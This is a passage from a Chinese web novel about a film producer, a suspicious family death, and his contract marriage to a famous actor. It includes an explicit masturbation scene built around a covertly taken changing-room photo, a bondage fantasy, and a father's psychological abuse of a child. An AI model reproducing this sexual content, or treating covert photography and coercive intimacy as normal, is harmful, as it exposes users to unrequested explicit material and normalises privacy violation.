“谢谢沈总!”叶缘接过文件,抬手看表:“一会您要去看选角,演员已经都来了。” “知道了。” “您不在这段时间,郑总来过一次电,问起投资的事,我告诉他等您回来再回电。” “郑业锋?好,我知道了。” 郑业锋和郑程是堂兄弟,两人水火不容,郑程跟顾向平关系不错,船上几天相处也看得出并不狠毒。 他想了想,给郑程去了个电话。 郑程一听是他就笑了:“沈总,什么风把你的电话吹来了。” 沈书渠笑笑:“你们家郑总想投资陆闻轻新电影,我不太了解他的公司,找你打听一二,希望不会很冒昧。” 郑程沉默一会,忽然笑了:“沈总,不是找我打听这个吧?” 沈书渠不置可否,郑程也揣着明白:“你要是问我投资,那我不太看好,上次你给了他那么大一个教训,这事儿恐怕不简单啊。” 沈书渠叹了口气:“实在是话赶话。” 郑程本就挺喜欢沈书渠,一听他叹气顿觉不忍,“你也别太担心,他挺怕大伯跟爷爷,真有什么事儿我替你要一个口谕。” 沈书渠笑笑:“既然这样,那就麻烦郑先生照顾了。” 挂掉电话,沈书渠起身去看这次选角,他是新电影《深渊》的制片人,原则上要去看看。 目前除了主角陆闻轻定了之外,其他重要角色全部海选。 试镜室外围满了年轻漂亮的小艺人,虽然不认识但见他西装革履,纷纷让出路来。 一个很机灵的男孩子帮他推开门,乖巧喊了一句:“沈总。” 沈书渠扫他一眼,眸光微凝。 “我是宁迟,您还记得我吗?在陆老师那部弄权里演他的小侄子,当时也是您试的我的戏,还夸过我。” 宁迟,陆闻轻在剧组救他,险些被道具砸死。 沈书渠瞥他一眼:“我记得你。” 24、闻笛思春(四).. 宁迟其实只是碰碰运气,完全没料到沈书渠还记得他,脸颊不自觉红了红:“是沈总您给我的机会。” 众人一听他是沈书渠纷纷投来艳羡目光,宁迟矜持一笑。 这个圈子里最重要的不是演技也不是人品,是人脉,如果靠上了沈书渠这棵大树那他以后就不用愁了。 弄权那部电影虽然火,他演的小皇帝人设也不错,在陆闻轻强大的光环下,他从默默无闻直接一跃为二线新人。 可惜的是陆闻轻这边不允许他买任何与他相关的通稿,白白浪费了这个角色的红利,之后连续扑了几个仙侠剧,现在名气快消耗光了。 《深渊》是个奇幻电影,陆闻轻在里头饰演一个亦正亦邪的医生,白天救死扶伤晚上就是主掌妖兽与恶人横行的恶渊之主。 男二是一个初出茅庐,信奉正义和平的年轻猎妖师,闯入恶渊被送到陆闻轻面前,从怒骂到敬佩与见证他用生命镇压恶渊的过程里,有很重的对手戏。 有陆闻轻在,这个角色谁演谁火,对于宁迟来说,二搭的力量会更强大,所以他一定要拿到这个角色。 “你可以走了。” 宁迟错愕,以为自己听错了:“什么?” 沈书渠面无表情重复一遍:“我说,你不用试戏了。” 宁迟急道:“为什么?明明每个人都有试戏的权利,我为什么不可以?” 沈书渠一抬手,高高在上截断他的话,连一个字的解释都没给就判了他死刑。 叶缘微笑伸手:“请。” 宁迟受不了这种羞辱,脸顿时涨红了。 经纪人也被这个转折弄愣,立即追问:“沈总,小宁做错了什么还是得罪过您?请您给我一个理由,否则我们不能认可毫无理由的劝退。” 沈书渠连脚步都没停径直进了试戏室,几人纷纷起身跟他问好:“沈总。” “坐。” 导演魏森奇道:“他怎么了?演技在新生代里还算不错了,角色外形也很贴,得罪过你?” 沈书渠:“他不吉利。” 魏森被这理由噎了下,虽然上次陆闻轻伤得惊险,但那到底是意外。 “你直接把人撵了,不怕人家说你有权就为所欲为?” 沈书渠淡淡道:“所以呢?权力在我手上,人人都要讲平等,我要权力做什么。” 魏森:“……. 宁迟悻悻离开,“牛逼什么,不就是个破总裁吗?了不起啊,说赶我就赶我?” 经纪人也摸不着头脑,“你是不是什么时候得罪过他?” “我怎么得罪他啊?我今天才第二次见他。” 经纪人眼看着他红了又慢慢凉了,也有些心焦:“要不你去求求陆影帝?” 宁迟有些犹豫,陆闻轻不待见他,甚至勒令过别在任何地方提他名字。 当时他第一次拍电影,身边连个助理都没有,一个人躲在避风口就着凉盒饭啃剧本,嘴都冻得发紫。陆闻轻让助理带他到自己的化妆间去,虽然不怎么说话但餐食都会让助理多买一份。他还不顾自己的危险救了自己,陆闻轻住院那段时间他去道谢,他也只是说了句他年纪还小脸毁了路就毁了。快杀青的时候,他鼓起勇气跟陆闻轻表白,万万没想到他脸色一寒,就给了他一个“滚”字。经纪人灵光一闪:“我记得你送过他一盒香,他说用着不错,要不然再送一次?”宁迟根本不知道那是什么香,只是路过寄存处听说有人给陆闻轻送了东西,就顺便取了。后来见陆闻轻很喜欢,他索性就没说,早知道当时就仔细看看是什么牌子了。电梯旁一直没说话的男人幽幽开口:“沈书渠把你赶出来了?”宁迟还在气头上,瞥了身旁穿着华贵的男人一眼:“关你什么事?你是谁啊?” “我是一个可以满足你愿望的人,只要你答应我一个要求,我保证你可以拿到你想要的角色。” 来试戏的演员足足数百人,沈书渠只去了一天,最后由导演选了几个不错的把名单放到他桌上。这几天陆闻轻在国外参加一个奢侈品大秀,一身高定压轴出场。活活偷拍了一张正在换衣服的照片给他,陆闻轻背对着镜头,背肌隆起沟壑深深,劲瘦的腰隐含力量。光线很亮,画质也很清晰,几乎能看到手臂上清晰的线条与微微鼓起的青筋脉络。沈书渠像一个很虔诚的画家,以眼做笔,仔仔细细临摹陆闻轻的每一个线条,争取画出完美无缺的仿制品。深夜静谧的办公室里,沈书渠一寸寸描过赤裸的上半身,扯开收紧的领带却先摸到了滚烫的脖子,撑着头摘掉眼镜重重喘了口气。心里有一只蛊虫在不断诱惑他,等反应过来的时候他已经反锁办公室的门,解开了西裤拉链。他指尖右滑,陆闻轻转过身系衬衣扣子,腰腹肌肉块垒分明,隔着屏幕都能感觉到滚烫的温度和强烈的爆发力。他并未看向镜头,微微敛眉的模样带一种很居高临下的审判感,像是下一秒就会踩在对方的胸口。沈书渠面色潮红,在克制与放纵之间很压抑地发出低低气声,渴望地咬紧嘴唇不断吞//咽,生理性的泪水沾湿不断颤抖的睫毛。窒息般的海潮扑面压来,就在笼罩他的那一刻,手机突然响了,沈书渠猛地惊醒,看到屏幕上跳动的三个字,掌心猝然一热。他抖着手按灭,陆闻轻又拨了一个过来,铃声像魔音一样纠缠着他。沈书渠浑身的肌肉都在抖,勉强用干净的那只手接起电话,哑声说:“喂。” “在哪儿呢?”陆闻轻嗓音轻缓含笑,让沈书渠本就居高不下的欲念瞬间又燃烧起来。 “…在酒店。”“哪家酒店?”沈书渠怎么知道自己在哪家酒店,随口扯了一个:“有事吗?”陆闻轻听他嗓音沙哑,活像是刚干了什么见不得人的事。“看到热搜了么。”陆闻轻突然停下来,礼貌道:“你那边半夜了,不会打扰你吧?”沈书渠很怕他听出什么不对来,压着嗓子轻道:“不会,你附近有中餐馆吗?可以让活活订一份,没有的话买点海鲜自己煮也很方便,我把过程发给活活。”“不合胃口。”沈书渠抿了下唇,接着就听陆闻轻无声无息的叹了口气:“看着光鲜奢靡,其实连口热水也喝不上,不过这边风景不错,方便视频么?给你看看。” 沈书渠不看也知道自己现在是什么样,情急之下断然拒绝:“不要!”陆闻轻那边没说话。沈书渠抿抿唇,低声说:我现在不方便,刚洗完澡,你饿了的话先吃一点东西,不要胃疼。” “沈书渠。” 陆闻轻嗓音压低,仿佛耳语一般,沈书渠有一种被他抓到的窘迫,不太自然地“嗯”了一声。 “我觉得你不想接到我电话,我打扰你了吗?” 沈书渠握着手机,只觉得自己像是热锅上的蚂蚁,“没有。” “是没有吗?”陆闻轻声音认真,潜藏着几分难以察觉的受伤:“是客套还是认真的?“ 沈书渠低头看着自己,艰难地坐直身子扯过纸巾一点点擦拭腥粘液体,一边说:“不是客套,我没有不想接你电话。” 千里之外的陆闻轻不知道,他在做什么,也不知道电话来的时候发生了什么,沈书渠闭了下眼,觉得没法面对他。 挂掉电话,沈书渠也没了念头,重新戴上眼镜去洗干净手顺便擦拭了西裤上的污渍,思考良久还是给他发了条消息。 ——你先吃点东西,想吃海鲜粥的话,回来了我给你煮。 陆闻轻漫不经心玩手机,指尖无意识地捻了捻,沈书渠的声音听起来很软,带一种压抑的缠绵。 他脑子里闪过一个画面,沈书渠被一根风衣系带绑住,羞赧地闭着眼,苍白嘴唇被咬出一点粉色,一双又直又长的腿无力地搭在两边。 压抑的哭腔从齿缝中漏出来,他比现在年轻,还没有那么隐忍。 陆闻轻脑内神经闪过剧痛,下意识闭上眼,那画面又瞬间消失殆尽。 陆闻轻指尖不断敲着膝盖,招手让活活过来附耳交代几句,活活愕然盯着他:“真要啊?” “不然呢?” “好吧,我马上去。” 陆闻轻收起手机,面无表情想:替身可以,两个替身,不行。 陆闻轻一直没回消息,沈书渠也没心思继续加班,拿上钥匙准备回家一趟。 车里正好播到之前听过的一首歌。 “原谅你太理性,与我在一起要守秘密,原谅我太野性,想这段情更深刻……” 沈书渠打开窗户,有些焦虑地想:不知道陆闻轻有没有听出他在做什么,要不要给他发条消息? 他会不会觉得自己解释那么多很奇怪,会不会显得此地无银三百两。 沈书渠正想着,没注意左侧突然冲出的一辆车,到眼前了才下意识踩下刹车,但已经来不及了。 他猛地磕在方向盘上,接着就被后面的车撞上来。 一阵剧烈的鸣笛之后,连环追尾让整个路口乱成一锅粥。 沈书渠几乎断气,缓了一会才恢复清明,不多时交警就来敲他的车窗,判定对方是闯红灯全责便让他先去医院了。 沈书渠情况不严重,手腕轻微扭伤,从急诊处理完出来在门口等车,忽然看到一个眼熟的男人。 他走过去,“徐伯伯?” 徐若辅没认出他是谁,好半天才发出一个不太敢认的疑问:“小书?” “是我,您怎么在这儿?” “我刚回国有点水土不服,顺路来拿点药,你手怎么了?” 沈书渠刚要说话,手机忽然响了下——您关注的陆闻轻上热搜啦。 陆闻轻三分钟前发了条微博,内容就是他那天帮忙拍摄的视频,配文:一天,每天。 他第一次公开提起爱人,热搜瞬间带爆,关于陆闻轻爱人的词条也瞬间登上前排。 ——我去,这是什么爱人视角,好撩的陆影帝,我合理怀疑他在going老婆,手机都抖了哈哈。 ——这是我该看的吗?我该看的是你们俩都不穿衣服的视角。 ——个什么虎狼之词,我也要看。 ——不对呀,陆影帝从来不发私人微博的,怎么突然开始营业了?不会是打算公开爱人身份了吧? ——不会是为了电影造势吧? ——只有我想知道陆影帝的“老婆”是谁吗?他那眼神都要拉丝了,怎么连我们Daddy也要勾引老婆吗? ——我怀疑他要开屏了哈哈哈。 25、闻笛思春(五)... "小书?"沈书渠回过神,把手机按灭放进口袋,“有个人闯红灯,不小心把手扭伤了,不碍事。”徐若辅叹了口气:“还是要小心一点啊,你母亲当年就是这么走的,当时你才那么一点大,一眨眼都二十年了。”沈书渠眸色微变,一层阴郁闪过眼底,很快又笑笑:“是啊,二十年了,听说当年外公很器重您,把您当左膀右臂。”徐若辅想起温怀瑾也有些遗憾,当年他学成归国就进了他手下,受他器重一路青云,结果温怀瑾突然入院,连句话都没来得及留。温怀瑾无子,权力自然落到了沈正兴手上,他年轻,做事也更大胆,上来就大刀阔斧改了一通,尤其是以经费不足叫停了当时的研发。徐若辅这一批人逐渐被边缘化,没两年就提出辞职,他也去了国外,最近才回来。徐若辅叹了口气:“温老病得太突然了,也很凶险,估计是因为你妈妈去世对他的打击太大了,唉我要是早点儿送他去医院就好了,发现得太晚了。” 沈书渠意外:“您送外公去的医院?” “是啊,我跟当时研发部的一个员工,我们过去报告项目进展的时候发现他倒在办公室里,手边还放着 瓶药,医院的诊断是心脏病发摔倒导致的脑血管破裂中风。” 沈书渠沉吟了下,看到一辆车停在跟前,从上面下来一个长相周正的年轻男人。 “我儿子来了。”徐若辅拍拍儿子的肩膀,笑说:“他是个警察,这位是我恩师的外孙,沈书渠。” 男人伸出手:“你好,徐诚。” 沈书渠跟他交握:“你好,徐警官。” “你怎么回去?让徐诚送送你?”徐若辅挺喜欢沈书渠,他长得像温若桥,气质上又像温怀瑾。 一时间,他恍惚看到了年轻的温怀瑾,不免有些伤怀。 滴滴。 “不用麻烦您了,我叫司机来了,您先走吧。”沈书渠笑了下,帮他打开车门:“改天去拜访您。” “好好,我家在静海路109号,一定来啊。” “一定。”沈书渠关上车门目送他离去,在路边等车时不自觉开始回忆二十年前。温若桥死了以后沈正兴管他特别严格,等他找到机会去见温怀瑾的时候已经是他弥留之际。那时候他的精神已经不好了,认不出人,只是在看到他的时候睁大了眼,喃喃叫了几句“若若”。沈书渠怕时间不够,着急地跟他说:“外公,妈妈不是那样死的,她让我来找您……” 温怀瑾听完这些话急喘了一口气,死死攥住沈书渠细瘦的手腕,怨愤又悲伤的说:“没有你就好了…….” 温怀瑾一句话没说完就断了气,小沈书渠错愕当场。 沈正兴走进来为温怀瑾盖上白布,摸摸他的头用很温和的语气说:“你看,你又害死了一个人,他和你妈妈都是因为你想摆脱自己的家而死,他们是为你牺牲的。” 他呆愣着连哭都没反应过来,沈正兴站在他身边平静地朝着温怀瑾鞠了一躬:“安息。”又回过头来看沈书渠:“书渠,你心太野了。” 沈书渠回过神,楚津东拉开车门下来,“你怎么在这儿?” “楚先生。” 楚津东顺着他手一看:“怎么了?” 沈书渠:“扭伤了,你来医院是有事?” “看望一个长辈,正好要走了,我送送你吧。”楚津东拉开车门,右手放在门顶等他过去。 沈书渠思忖片刻,上了车:“麻烦你了。” “不麻烦,你住哪儿?” 沈书渠把地址报给他,楚津东启动车拐出去,担忧道:“你手没事吧?怎么没让人陪你,叫司机来接也好。” “一点小伤,不要紧。” 楚津东在心里反复揣摩思量,找了个话题:“上次在船上你没事吧,早知道就不玩那个游戏了,害得你心情不好。” “楚先生太客气了,我没有心情不好,对了你今天来探望什么人?家里的长辈么?” 楚津东“嗯”了声:“一个叔公,年纪大了心脏不太好,前段时间才做过搭桥手术,不过状态还行,住上几天就能出院了。” 沈书渠想起徐若辅的话,按照他的说法温怀瑾是心脏病发那就排除他杀的可能。 以他对沈正兴的了解,温若桥死了,温怀瑾是一定不能留的,是没来得及动手他就出事了? 楚津东侧眸看了一会,措辞谨慎道:“书渠,我知道一家餐厅的粤菜做得很正宗,过几天跨年夜,不知道你有没有空?” 沈书渠想得入神,茫然回头:“什么?” 楚津东看着他的脸,索性直说:“书渠,从第一次见你我就觉得很喜欢你,我知道这种说法可能很突兀很冒昧,但我是认真的,你……你有对象了吗?“ 沈书渠茫然眨眨眼,还没从思维里抽身。 楚津东心脏几乎要从口中跳出去,用力咽了下唾沫,一咬牙道:“你拒绝我也没关系,我知道不是每个人都能接受同性恋,我就是想让你知道我很喜欢你。”沈书渠一下笑了,“楚先生,我已经结婚了。” 楚津东愕然,完全没想到是这个走向,顿时有些尴尬:“您…您爱人是……没听林锦说起过,我还以为你是单身,不好意思。” “他很好,不过他性子比较低调也不太喜欢被人提起,所以………希望楚先生代为保密,可以吗?” 楚津东骤然松了口气,笑道:“好吧,那祝你们幸福。”沈书渠也笑笑:“谢谢。”楚津东将车停在小区外面,沈书渠到家时才记起陆闻轻那条热搜,点进去看了会评论没有异样就关掉了。他洗完澡,在书房查了一下温怀瑾去世之后温氏的员工变动,陆闻轻的电话突然就来了。他随手接起来发现是个视频电话,再想去关已经来不及了。“沈总,你一向管家里叫酒店?” 沈书渠:“……. “你这张嘴里有什么是真的,心眼子长得比藕都多,刚才说给我煮粥是不是也骗我的?” “不是。” 沈书渠嘴里没一句实话他是领教过的,林锦也盖章说他有什么事儿都藏心里,一朝一夕想要掰开这张嘴大概是不可能的。 陆闻轻想:来日方长。 他总能把这张嘴撬开,让他学会什么叫诚实和不要把所有的事都扛在自己肩上。 “你看到热搜了吗?” “嗯,看到了。” 沈书渠穿着睡衣坐在桌子后面,头发微湿垂落眼尾,领口微微敞开露出一小片白皙的胸膛,和平时西装革履拒人于千里之外的样子不同,有一种很居家的温柔。 视频接通时自上往下,喉结上那粒红痣随着说话动了一下,很快又因为平视手机而藏起来。 他微微垂着眼,书房里的昏黄光线从身后洒过来将他包上一层柔和光晕,衬得嘴唇微微泛红,一看就很软。 陆闻轻心口微热,莫名有些干渴,想要去尝尝那张唇上的滋味,大概是像他人一样很冷的。 一闪而过的画面再度浮现,陆闻轻脑子先一步将他双手捆住,一双又白又直的腿被分别握住就会从指缝中漏出白腻。陆闻轻被自己的念头挠得灼心,嗓音沙哑地问他:“评论说你手都抖了,那天我没仔细看,抖了吗?” 沈书渠抬手去撑额头,下意识抬起受伤那只手,顿时吸了口气。 “你手怎么了?” 沈书渠再收回去已经来不及了,看到陆闻轻皱眉的样子只好说:“晚上不小心扭到了,不要紧。”“沈书渠。”陆闻轻透过镜头看他,语气变得很严厉:“我不太喜欢听见你的嘴里说出我不要紧、不碍事这种词。受伤了瞒着我干什么,手疼不疼?” 沈书渠微抿了下唇:“还好,我已经去过医院处理过了。” 陆闻轻沉声重复:“我问你的是疼不疼,不是问你能不能忍住。” 沈书渠恍惚了一下,耳里两道声音重叠,他怔了几秒钟,低声说:“有一点。” 陆闻轻表情并未缓和,皱眉审他:“怎么受的伤?” “有个车突然闯红灯,交警说是疲劳驾驶已经处理过了,手腕只需要养几天就能好,不是什么大问题。” 陆闻轻一听,表情更难看了,上次开车就走神差点儿开到人行道上去,现在索性把手腕都扭了。 “你那个小司机呢?平时能在码头当雕像等你两天,到你用他的时候不见了?” 沈书渠不怎么喜欢用司机,而且今天陈泽生日,他给陈昱放假回家陪弟弟去了。 他的手其实真不严重,只是有一点点疼而已,但看着陆闻轻严厉的样子也不好再说,只好换个话题:“你晚上吃饭了吗?” “吃了,受伤就早点休息。” 沈书渠到嘴边的话收回去,改口道:“好,晚安。” 陆闻轻挂了电话,跟正在收拾东西准备离开的活活说:“打电话给尤微,把明天的宴会推了。” “啊?现在就回国吗?”活活打开订票软件,从上到下翻了一下:“好像只有深夜廉价航班了。” “订吧。” 活活从没见他这么紧张过一个人,加上刚才让她发的那条微博,忍不住问:“哥,您不会喜欢上沈总了吧?” 陆闻轻瞥她一眼,“犯法吗?” 26、闻笛思春(六).. 沈书渠挂掉电话又在书房待了一会,单手撑着下颌看员工与项目变动,指尖无意识捻了捻。 温家是重工起家,历经两代成为当时国内首屈一指的龙头企业,一般来说根深蒂固的老企业不会轻易改革,至少变革不会太大。 当年徐若辅带领的团队是温氏的重点项目,相当于整个企业都在供养这个新技术,不可能以经费不足叫停。 二十年来,温氏经历了超过七次改革,从重工变成了如今的能源再生,除了还剩一个名字之外已经完全脱胎换骨。 如今提起温氏,恐怕没几个人会知道温怀瑾。 抹去一个人存在的痕迹其实比想象中简单,只需要掩盖他的功绩,送走认识他的人,很快他就会散于烟尘。 这就像一种寄生,死去的动物尸体中生出真菌,缓慢而有序地吞食养分,最终将它完全变成自己的一部分。 沈正兴靠着这个养分,铸造了如今的沈氏。 沈书渠拿起手机,找到郑程电话的时候看了眼时间又放下,转而给叶缘发了条消息。 —去查一查温老的尸检报告和生前的病例,越细越好。 沈安回到家,习惯性跟客厅里的余欣打了声招呼。 沈正兴要求他必须十一点回家,而余欣每天都会在家里等他回来,陪他吃完宵夜再上楼睡觉。 余欣搭着披肩坐在沙发上,面上全是显而易见的焦虑。 沈安喝了一肚子酒,摆手让人把宵夜拿下去。 “你不吃爸爸会不开心的,吃一点吧。”余欣陪他一起到了餐厅,看他皱着眉把东西咽下去,伸手给他擦了擦嘴。 “爸爸在楼上等你。” 沈安悚然抬头,下意识闻了闻自己一身的酒气,“不能不去啊?他看见我喝酒又要骂我,我都多大了他还那么管我。”余欣焦虑地看着沈安,保养水灵的双手紧紧攥在一起,心里一阵阵的犯愁。 “你弟弟还小指望不上,你争争气,将来沈氏到你手上就不用处处受制了,千万不能落在沈书渠手上啊。” 余欣最近总有一种感觉,沈正兴开始关注沈书渠了,他那么爱温若桥难保不会因为她而改变主意。 “你这段时间在锦盛,拿到他的头发了吗?” “我没机会进他办公室,就去那一次还让他给我砸成脑震荡了,他就是个疯子。” 沈安想起来就烦,沈书渠看着矜持端方,其实心狠得要命,要是跟他顶嘴或者哪一句说得不对,下一秒他就会让人死在跟前。 余欣叹了口气:“好吧。” “你让我找他头发干什么?妈你要搞扎小人啊?” 余欣一指头戳在沈安脑门上,“我怎么生了你这么个蠢货,我是怀疑他不是你爸爸亲生的。” 他有多爱温若桥是有目共睹的,她当年也是见过沈正兴会开到一半回家看摔倒的妻子,还在她生日的时候亲自挑礼物。 一切都是从温若桥生完孩子之后变了的。 沈安没见过温若桥本人,但有一次进了沈正兴的书房不小心打翻了相册摔破了玻璃,差点儿被盛怒之下的沈正兴掐死。 他恐惧之余瞥见了那张绝美的旧照片,他从未见过那么美的女人,像一株清冷又艳丽的花。 那张脸和沈书渠有九成相似,但沈书渠更冷淡锋利,总是带着一股折不断的冷傲,而她温柔温暖,像个优雅的公主。 沈安断然反驳:“不可能,他们长那么像,怎么可能不是亲生的。” 余欣回头看了一眼,压低声音说:“你觉得沈书渠身上有一丁点像你爸爸吗?”“太太,二少爷,已经十一点半了。”佣人过来提醒。余欣立刻住了口,起身说:“上楼去找爸爸吧。”沈安若有所思,进书房时沈正兴正背对着他站在书架前找一本书。 “爸。” “这几天在锦盛感觉怎么样?” 沈安吃不准他是什么意思,只能谨慎道:“锦盛比想象中更赚钱,陆闻轻是锦盛的摇钱树,只要有他在大哥就永远有底气。” 沈正兴没转身,如有所思地念了遍“陆闻轻”,“那看来,你大哥还是很依赖他了?” 沈安并没注意到他的“还是”,老实道:“对,当时他肯定是看准了陆闻轻能火才抢这个公司,不过我查过,陆闻轻的合约还有不到一年。“ “员工怎么样?” 沈安:“大哥很会笼络人心,整个锦盛上下都对他特别衷心。您让我去做副总,其实就是个摆设一点实权也没有,什么都得他来拍板,他简直就是锦盛的皇帝。” 沈正兴放下书,说:“你知道为什么吗?” 沈安心道凭那张脸吧,沈书渠长了一副很会勾人的样子,跟谁笑一下谁的魂就没了,肯定会很听话。 “他比你有脑子,也比你知道人性的弱点在哪里。” 陆闻轻从没坐过经济舱,深夜航班座位比想象中更加狭窄。 他两条腿完全没有地方放,只能委屈得摆在座位下。 他帽子口罩遮得密不透风,但一进机场还是被认出来,过安检的时候一浪高过一浪的尖叫简直要将航站楼都掀翻。 足足十一个小时的航班结束,落地平洲的时候眼底的暴躁压都压不住,上车把口罩一摘,浑身上下都是低气压。 活活翻了一下司机带来的早餐,找出一杯热拿铁递给他:“喝一点吧,您从昨天早上就没吃东西了。” 陆闻轻双腿交叠,靠在椅背上闭目养神:“没胃口。” 活活啃了口香喷喷的包子,一边嚼嚼嚼一边转过头来说:“谁让您名气太大了,身材又好,浑身上下哪儿都是辨识度,就算穿麻袋也会被认出来,这也没办法呀。” 陆闻轻一掀眼皮,“继续。” 活活呆了下:“继续啥?” “数数我有什么优点,一句一万块。” 活活立即咽下嘴里的包子,一门心思拨算盘:“长得帅,身材好,顶级演技,全球唯一十二奢在身,史上最年轻大满贯影帝.……” 活活一边数一边记账,夸到最后脑子一热:“世界上最配得上沈总的男人……. “这句十万。” 司机扑哧一声笑了,“总算听见自己爱听的了。” 活活脑袋上飘过问号,咬牙切齿道:.……陆老师,我是您追沈总这个play里的工具吗?" 车在锦盛门口停下,陆闻轻从正门进去,整个大厅瞬间静得落针可闻,他漫不经心瞥了眼,眼底没带什么感情。 电梯门合上,大厅顿时骚动。 “我还是第一次见陆影帝,比银幕上还帅,气场好强。” “怪不得说陆影帝不带情绪看人的时候像看狗一样,我差点就要喊Daddy了。” “不对呀,陆老师不是在国外参加一个什么大秀吗?怎么今天就回来了?看起来好凶,像是要捉………” “你们说他是来找谁啊?哎活活,你过来呀,请你吃点心,来呀。” 活活面对一张张八卦的脸,努力压下天降横的喜悦,笑眯眯说:“不知道呀,陆老师可能是想上班了吧。” “.…. 沈书渠刚从会议室出来,正在翻《深渊》的演员名单,听见敲门以为是叶缘随口应了声:“进。” 她一直没动,沈书渠也没抬头,“让你查的资料怎么样了,除了病例之外把他当时的主治医生和家庭医生联系方式也找出来。” “怎么,哑巴了?” 沈书渠放下文件抬头,微微一愣:“你怎么回来了?” “回来吃粥,顺便送点慰问。”陆闻轻微微俯身注视着沈书渠,一双眼睛里布满红血丝,像一头疲倦等待捕猎的狼。 沈书渠心脏麻了一下,喉头无意识一滚。 “手拿过来,我看看。”陆闻轻走到他旁边,居高临下朝他伸出手。 沈书渠迟疑两秒,把手递给他,修长苍白的手放在陆闻轻宽大的掌心里有一种很合衬的美感。他手和人一样凉,陆闻轻握着他的手很轻地捏了捏指骨:“这儿有感觉吗?” 沈书渠呼吸一窒,有,很麻,很痒。 “疼?” 沈书渠轻轻摇了下头:“不疼。” 陆闻轻一路从他指尖试到掌心再到手腕,温热的体温一点点渗透,爱抚一般的暖昧燥热不断考验沈书渠。 偏偏陆闻轻什么也不知道,无辜的拇指在他掌心里停留了一瞬,揉得他心口发烫几乎想要抽回来。 “有感觉吗?” 沈书渠指尖蜷缩,又被陆闻轻一根根抻平,不紧不慢揉着他的指腹好像随时准备插进他的指根与他交握。 沈书渠嗓音沙哑,低声提醒:“没有,陆闻轻,我手真的没问题,你不用检查了。” “你的话不可信,你这张嘴太会撒谎了。” 陆闻轻看向沈书渠的眼神很有侵略性,声音虽轻,但有一种宣刑般的提醒:“以后你说的每一句话,我都会 验证,你可以考虑要跟我撒多少谎。提前告诉你,我不太喜欢别人跟我撒谎。” 沈书渠躲开他的注视,抽回手自己揉了两下,“我没有撒谎,医生说按时吃药一周就能好。” “没说你手。”陆闻轻半靠在他的办公桌上,随手拿了个文件翻了两下,“成年人也有喊疼的权利,没有人规定长大了就不能有情绪。” 小时候其实也没有喊疼的权利,除了温若桥也没人在意他疼不疼,或者说除了温若桥所有人都很想看他疼。 沈书渠敛眉笑笑,反问他:“你小时候会喊疼吗?” “想知道?”沈书渠想知道他的童年、少年、青年一切没有见过的时光,他一定是人群里最耀眼的那一个。 小学成绩一定很好,初中也许会跟人打篮球,高中大概会收到很多人的追捧,他想见每一个阶段的陆闻轻。 他们之间的回忆太少了,不够他一遍一遍的重温。 陆闻轻伸手在他额头上敲了下:“等你学会诚实的时候再告诉你,沈总,这个世界上所有东西都是有明码标价的,我不做赔本生意。” 沈书渠很少被人做这样亲昵又居高临下的举动,顿时愣了下。 叶缘正好进来送东西,猝不及防看到这个场景险些一跟头栽倒,当即别过头:“我来的不是时候哈,我先出……” 不,她来的正是时候,沈书渠立刻叫住她:“等等。” 叶缘抱着文件和一份黑咖啡,恨不得眯着一只眼走路,“陆老师。” 陆闻轻没看她,淡淡应了:“嗯。” 叶缘放下东西,轻咳一声说:“沈总,宁迟的经纪人来电问您能不能再给他一次试镜的机会,他一定会好好演,还说如果您愿意要的话他可以削减一半的片酬。” 沈书渠擅自扼杀了宁迟的试镜机会,这件事还没告诉陆闻轻。 他思忖着,如果陆闻轻开口,那他……陆闻轻:“不能,让他滚。”叶缘错愕:“啊?”沈书渠也吃了一惊,陆闻轻当时不顾危险救他,据说对他也很好。陆闻轻端起沈书渠的咖啡喝了一口,被苦得皱了下眉,“有我在的地方,就没他这个人。” 叶缘和沈书渠对视一眼,发现他也懵,小心道:“他得罪您了?” 活活正好带着餐食进来,探头说:“我能进来吗?” 沈书渠说:“进来吧。” 活活把食盒放在桌上,打量着几人的表情接替陆闻轻解答:“"那个,我知道。" “那次拍戏在雪山上,环境特别恶劣,还有几个演员高反进医院输液了。宁迟是新人没有助理也没自己的经纪人,剧组也没准备他的化妆间,我看他一个人啃冷盒饭挺可怜的,跟陆老师说能不能叫到我们这里来。”陆闻轻咖位大,剧组待遇自然是最好的。 活活有些内疚,小声说:“他一直很守规矩,结果杀青的时候突然跟陆老师表白。”沈书渠静静看她,活活被盯得寒毛直立,立即举起三根手指发誓:“陆老师平时都在里面的休息间,几乎没跟他说过话,我跟化妆师一直都在的,他可以作证!” 叶缘没过脑子,脱口说了句:“陆老师不是不顾危险救他……”活活感觉一道无形的利箭要冲着她后背刺来了,火速道:“当时那个道具砸下来陆老师顺手推了他一把,同时还推了另一个男演员,是他自己想多了。”陆闻轻双手环胸看沈书渠,从那张冷淡的脸上看出了一丝惊讶和不怎么明显的怒意,不由得玩味。“他跟陆老师表白,说、说不在乎名分…….”活活小心翼翼地看了沈书渠一眼,无比诚恳道:“陆老师让他滚,警告他自己结婚了,还跟尤微姐说不允许他团队提到自己的名字,也不允许用这个电影炒作。”陆闻轻摆了下手让活活出去,一并把蒙圈的叶缘也拉走。 沈总,我以为协议结婚也是合法婚烟,受法律以及道德约束的合法关系,婚姻存续期间我不会跟任何人有感情。”陆闻轻随手将文件放下,微微俯身,眸光定定看向沈书渠:“你呢?”沈书渠眼神迷茫,像是没听出话外之音。 陆闻轻受不住内心的诱惑,伸手在他脸上蹭了蹭,拇指缓缓摩挲下移,在他喉结上停顿了下。 “如果我喜欢一个人,是不会让他委曲求全的,我不喜欢一个人,也不会给他献祭的念想。” 沈书渠微微仰着头,迎向他的角度像极了在索吻,那双唇和平时一样苍白但又很饱满,很想让人将它吮吻出血色。 陆闻轻伸手摘掉他的眼镜,直直看向他的眼睛,语气里不自觉就带出了几分诱哄与强制:“沈总守法吗?” “什么法?” “一夫一妻制婚姻法。” 27、闻笛思春(七).. 他的抽屉里现在就放着一式两份的离婚协议,取出来立刻就可以签字结束关系。 沈书渠迅速在心里思考离婚后需要处理的一系列事宜,财产分割、手续移交,最好不要公开,没必要添这一层麻烦。 如果他打算再婚可以说是补办婚礼,选择公开可以循序渐进。 虽然有点委屈对方,但这样至少比二婚听起来好一点。 沈书渠在心里理完一整套逻辑,将所有情绪一并压回去,平静道:“我会守的,你放心。” 陆闻轻拇指从他的喉结缓缓上移,以手指代替唇舌,从唇角到唇珠再到唇缝,仔仔细细地摩挲了一遍。 喉咙泛起干痒,陆闻轻不自觉俯下身。 —叩叩。 沈书渠猛地偏过头,一开口嗓子哑得厉害:“进来。” 叶缘探头进来,先看了陆闻轻一眼:“沈总,您五分钟后有个会,需要推迟吗?” “不用,我马上去。”沈书渠立即起身,救星一般拿起文件。 